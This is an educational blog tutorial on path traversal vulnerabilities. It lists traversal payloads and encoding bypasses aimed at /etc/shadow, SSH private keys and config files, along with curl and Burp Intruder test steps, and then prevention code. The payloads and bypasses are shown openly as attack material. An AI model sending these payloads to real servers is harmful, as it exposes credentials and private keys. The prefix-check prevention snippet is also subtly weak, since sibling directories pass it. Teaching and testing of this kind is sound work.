Ethical Hacking #path-traversal#directory-traversal#web-security

Directory Traversal and Path Traversal Vulnerabilities

Understand how path traversal attacks work, common bypass techniques, how to test with Burp Suite and curl, and how to properly prevent them.

7 min read

Path traversal (also called directory traversal) is a vulnerability that allows attackers to read — and sometimes write — files outside the intended web root directory. Despite being a well-understood vulnerability category, it continues to appear in modern applications, including well-known software packages. Understanding how it works is essential for both testers and developers.

What Is Path Traversal?

Web applications frequently serve files based on user-supplied input. A URL like https://target.com/download?file=report.pdf tells the server to fetch report.pdf from some configured directory. The vulnerability arises when the application blindly concatenates user input to a base path without sanitization.

If the server-side code does something like:

filename = request.args.get('file')
full_path = '/var/www/uploads/' + filename
with open(full_path, 'rb') as f:
    return f.read()

An attacker can supply ../../../etc/passwd as the filename, causing the full path to resolve to /etc/passwd.

The Classic Exploit Pattern

The ../ sequence (dot-dot-slash) navigates one directory level up. Chaining these sequences allows an attacker to escape the intended directory:

https://target.com/download?file=../../../etc/passwd

On Linux, /etc/passwd reveals usernames and home directories. More sensitive targets include:

Target FileContents
/etc/passwdUser accounts and home directories
/etc/shadowHashed passwords (requires root read access)
/etc/hostsLocal hostname resolution
/proc/self/environEnvironment variables (may contain secrets)
/proc/self/cmdlineCurrent process command
~/.ssh/id_rsaSSH private key
/var/www/html/config.phpDatabase credentials

On Windows targets, path separators change:

https://target.com/download?file=..\..\..\windows\system32\drivers\etc\hosts

Or mixed slashes often work too:

https://target.com/download?file=../../../windows/system32/drivers/etc/hosts

URL Encoding Bypasses

Many applications try to block ../ but fail to handle encoded variants. Common bypass techniques:

URL encoding:

%2e%2e%2f  →  ../
%2e%2e/    →  ../
..%2f      →  ../

Double encoding (for apps that decode once then check):

%252e%252e%252f  →  %2e%2e%2f  →  ../

Unicode/UTF-8 encoding:

..%c0%af   →  ../  (overlong UTF-8)
..%ef%bc%8f →  ../  (fullwidth solidus)

Null byte injection (in older PHP applications):

../../../etc/passwd%00.jpg

The null byte terminates the string in C-based functions, causing the .jpg extension appended by the application to be ignored.

Path normalization tricks:

....//....//....//etc/passwd
..././..././..././etc/passwd

When an application strips ../ once, ....// becomes ../ after the single pass.

Testing with curl

Quick command-line testing for path traversal:

# Basic test
curl "https://target.com/download?file=../../../etc/passwd"

# URL-encoded
curl "https://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Check response length and content
curl -s "https://target.com/download?file=../../../etc/passwd" | head -5

Look for root:x:0:0:root in the response — that’s the first line of /etc/passwd on a successful exploit.

Testing with Burp Suite

Burp Suite’s scanner will detect many path traversal issues automatically, but manual testing gives you more control.

Manual Testing Workflow

  1. Intercept requests in Proxy that include file parameters
  2. Send to Repeater (Ctrl+R)
  3. Modify the file parameter to ../../../etc/passwd
  4. Observe the response: content length change, actual file content, or error messages
  5. Try bypass variants if the basic attempt is blocked

Using Burp Intruder for Automated Traversal

  1. Send the request to Intruder
  2. Mark the file parameter value as the payload position
  3. Load a path traversal wordlist from SecLists: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
  4. Set the attack type to Sniper
  5. Filter responses by content length — successful reads will differ from error pages

Real-World Example: Apache Tomcat (CVE-2025-24813 context)

Path traversal vulnerabilities appear regularly in CVE databases. A classic pattern is when a web server fails to normalize paths:

GET /static/..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: target.com

The server URL-decodes the path, resulting in /etc/passwd being served directly.

Prevention

1. Input Validation — Canonicalize Before Checking

Resolve the full canonical path and verify it starts with the intended base directory:

import os

BASE_DIR = '/var/www/uploads/'

def safe_open(filename):
    # Resolve the absolute path
    requested_path = os.path.realpath(os.path.join(BASE_DIR, filename))
    
    # Ensure it's within the base directory
    if not requested_path.startswith(os.path.realpath(BASE_DIR)):
        raise ValueError("Path traversal detected")
    
    with open(requested_path, 'rb') as f:
        return f.read()

2. Chroot Jails and Containerization

Run web application processes in a chroot jail or container, so even if traversal succeeds, the filesystem the attacker can reach is limited to an isolated environment.

3. Indirect File References

Never pass raw filenames from user input to filesystem operations. Instead, use an indirect mapping:

FILE_MAP = {
    'report': 'quarterly_report.pdf',
    'invoice': 'invoice_template.pdf'
}

filename = FILE_MAP.get(user_input)
if filename is None:
    return 404

4. Web Server Configuration

Configure your web server to deny requests containing traversal sequences:

# Nginx — block traversal sequences
if ($request_uri ~* "\.\.") {
    return 403;
}

5. Least Privilege

Run web server processes with the minimum filesystem permissions required. A process that can only read /var/www/uploads/ causes far less damage when compromised.

Path traversal is deceptively simple — a single unchecked concatenation can expose an entire server’s filesystem. Canonicalize paths, use indirect references, and apply defense-in-depth through chroot or containerization, and this class of vulnerability disappears entirely from your codebase.

#owasp #web-security #directory-traversal #path-traversal